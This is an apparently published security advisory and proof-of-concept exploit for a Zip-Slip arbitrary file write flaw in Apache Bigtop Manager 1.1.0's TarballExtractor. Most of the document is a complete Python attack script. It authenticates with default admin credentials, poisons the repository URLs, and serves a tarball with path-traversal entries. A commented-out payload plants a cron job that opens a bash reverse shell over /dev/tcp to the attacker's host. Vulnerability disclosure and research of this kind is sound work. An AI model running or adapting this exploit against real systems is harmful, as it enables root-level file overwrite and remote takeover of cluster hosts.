Apache Bigtop Manager 1.1.0 (TarballExtractor) Arbitrary File Write

[zeroscience]

#!/usr/bin/env python
#
#
# Apache Bigtop Manager 1.1.0 (TarballExtractor) Arbitrary File Write
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://bigtop.apache.org
# Affected version: 1.1.0
#
# Summary: Bigtop Manager is a modern, AI-driven web application designed
# to simplify the complexity of bigdata cluster management. Provides an easy
# deployment solution not only for Apache Bigtop components, but also other
# community version bigdata components.
#
# Desc: Apache Bigtop Manager suffer from a path traversal (Zip-Slip) and
# arbitrary file write vulnerability. The TarballExtractor.extract() routine
# unpacks service tarballs downloaded from the configured repository URL
# without validating archive entry paths and creates symbolic links with
# attacker-controlled targets, so a crafted archive can write files outside
# the intended extraction directory. Because extraction runs with the privileges
# of the Bigtop Manager stack (typically root during cluster provisioning),
# an attacker who can influence the repository or the served tarball can overwrite
# arbitrary files on the managed hosts and achieve remote code execution.
#
# =====================================================================================
# /src/main/java/org/apache/bigtop/manager/stack/core/tarball/TarballExtractor.java:
# ----------------------------------------------------------------------------------
# 77:    private static boolean extract(TarArchiveInputStream ais, Path destDir, int skipLevels) {
# 78:        try {
# 79:            TarArchiveEntry entry;
# 80:            while ((entry = ais.getNextEntry()) != null) {
# 81:                String entryName = entry.getName();
# 82:                Path entryPath = Paths.get(entryName);
# 83:
# 84:                // Check if it is necessary to skip directories at the specified level
# 85:                if (entryPath.getNameCount() <= skipLevels) {
# 86:                    // Skip this entry
# 87:                    continue;
# 88:                }
# 89:
# 90:                Path relativePath = entryPath.subpath(skipLevels, entryPath.getNameCount());
# 91:                Path outputPath = destDir.resolve(relativePath);
# 92:
# 93:                if (entry.isDirectory()) {
# 94:                    createDirectories(outputPath);
# 95:                } else if (entry.isSymbolicLink()) {
# 96:                    createSymbolicLink(outputPath, entry.getLinkName());
# 97:                } else {
# 98:                    createFile(outputPath, ais);
# 99:                }
# 100:           }
# =====================================================================================
#
# Tested on: Microsoft Windows 10
#            OpenJDK Temurin 21.0.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6021
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6021
#
#
# 13.08.2026
#


I_LOVE_SNOOPY_TOO = r"""
         _
        (:)_
      ,'    `.
     :        :
     |        |              ___
     |       /|    ______   // _\
     ; -  _,' :  ,'      `. \\  -\
    /          \/          \ \\  :
   (            :  ------.  `-'  |
____\___    ____|______   \______|_______
        |::|           '--`
        |::|  Apache Bigtop Manager 1.1.0
        |::| TarballExtractor Zip-Slip RCE
        |::|       Zero Science Lab
        |::;        ZSL-2026-6021
        `:/
"""

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import urllib.request
import urllib.parse
import threading
import hashlib
import tarfile
import json
import time
import io

CLUSTER_ID      = None
SERVICE_INSTALL = None
USER, PASSWD    = "admin", "admin"
LHOST, LPORT    = "192.168.1.8", 8888
BIGTOP          = "http://192.168.1.2:8080"
EVIL_ENTRY      = "bigtop-pkg/../../../../../../../../tmp/bigtop_slip.251"
EVIL_CONTENT    = b"thricer was here.\n"
# EVIL_CONTENT  = b"* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.8/7171 0>&1'\n"
# EVIL_ENTRY    = "bigtop-pkg/../../../../../../etc/cron.d/zsl"

_DEFAULT_SALT = b"k9@2Uw3*Y@Ccno9c"

def build_tarball():
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w:gz") as tar:
        for name, data in [("bigtop-pkg/VERSION", b"1.1.0\n"), (EVIL_ENTRY, EVIL_CONTENT)]:
            ti = tarfile.TarInfo(name=name)
            ti.size, ti.mode, ti.mtime = len(data), 0o644, int(time.time())
            tar.addfile(ti, io.BytesIO(data))
    return buf.getvalue()

class PayloadHandler(BaseHTTPRequestHandler):
    tarball = b""
    def do_GET(self):
        print("    [http] agent %s fetched %s -> serving malicious tarball (%d bytes)"
              % (self.client_address[0], self.path, len(self.tarball)))
        self.send_response(200)
        self.send_header("Content-Type", "application/gzip")
        self.send_header("Content-Length", str(len(self.tarball)))
        self.end_headers()
        self.wfile.write(self.tarball)
    def log_message(self, *a):
        pass

def serve(tarball):
    PayloadHandler.tarball = tarball
    httpd = ThreadingHTTPServer(("0.0.0.0", LPORT), PayloadHandler)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    print("[+] Payload server: http://%s:%d  (serving %d-byte tarball to any path)" % (LHOST, LPORT, len(tarball)))
    return httpd

def _pbkdf2(data, salt):
    return hashlib.pbkdf2_hmac("sha256", data, salt, 600000, 32).hex()

def login_password(user, pw):
    return _pbkdf2(pw.encode(), _pbkdf2(user.encode(), _DEFAULT_SALT).encode())

def api(method, path, token=None, body=None):
    data = json.dumps(body).encode() if body is not None else None
    req = urllib.request.Request(BIGTOP + path, data=data, method=method)
    req.add_header("Content-Type", "application/json")
    if token:
        req.add_header("Token", token)
    with urllib.request.urlopen(req, timeout=15) as r:
        return json.loads(r.read().decode())

def exploit():
    nonce = api("GET", "/api/nonce?username=" + urllib.parse.quote(USER)).get("data")
    lr = api("POST", "/api/login", body={"username": USER, "password": login_password(USER, PASSWD), "nonce": nonce})
    token = (lr.get("data") or {}).get("token")
    if not token:
        print("[-] Login failed: %s" % lr); return
    print("[+] Authenticated       : %s  (JWT %s...)" % (USER, token[:20]))

    repos = api("GET", "/api/repos", token=token).get("data") or []
    print("[*] Repos before        : " + ", ".join("%s=%s" % (r.get("id"), r.get("baseUrl")) for r in repos))
    poisoned = [{"id": r.get("id"), "baseUrl": "http://%s:%d/" % (LHOST, LPORT)} for r in repos]
    api("PUT", "/api/repos", token=token, body=poisoned)
    print("[+] Repos poisoned      : baseUrl -> http://%s:%d/" % (LHOST, LPORT))

    if CLUSTER_ID and SERVICE_INSTALL:
        cmd = {"command": "ADD", "clusterId": CLUSTER_ID, "commandLevel": "SERVICE", "serviceCommands": [SERVICE_INSTALL]}
        print("[+] Install triggered   : %s" % api("POST", "/api/command", token=token, body=cmd).get("data"))
    else:
        print("[*] Nope.")

if __name__ == "__main__":
    #WAIT
    print(I_LOVE_SNOOPY_TOO)
    tarball = build_tarball()
    print("[+] Malicious tarball: %d bytes, evil entry '%s'" % (len(tarball), EVIL_ENTRY))
    serve(tarball)
    print("[*] Target Bigtop Manager: %s\n" % BIGTOP)
    try:
        exploit()
    except Exception as e:
        print("[-] %s: %s" % (type(e).__name__, e))
    print("\n[*] Waiting for agents to fetch the tarball (Ctrl-C to stop) ...")

    try:
        while True:
            time.sleep(3600)
    except KeyboardInterrupt:
        print("\n[*] Done.")

ZSL-2026-6021: Apache Bigtop Manager 1.1.0 (TarballExtractor) Arbitrary File Write

ZSL-2026-6021: Apache Bigtop Manager 1.1.0 (TarballExtractor) Arbitrary File Write

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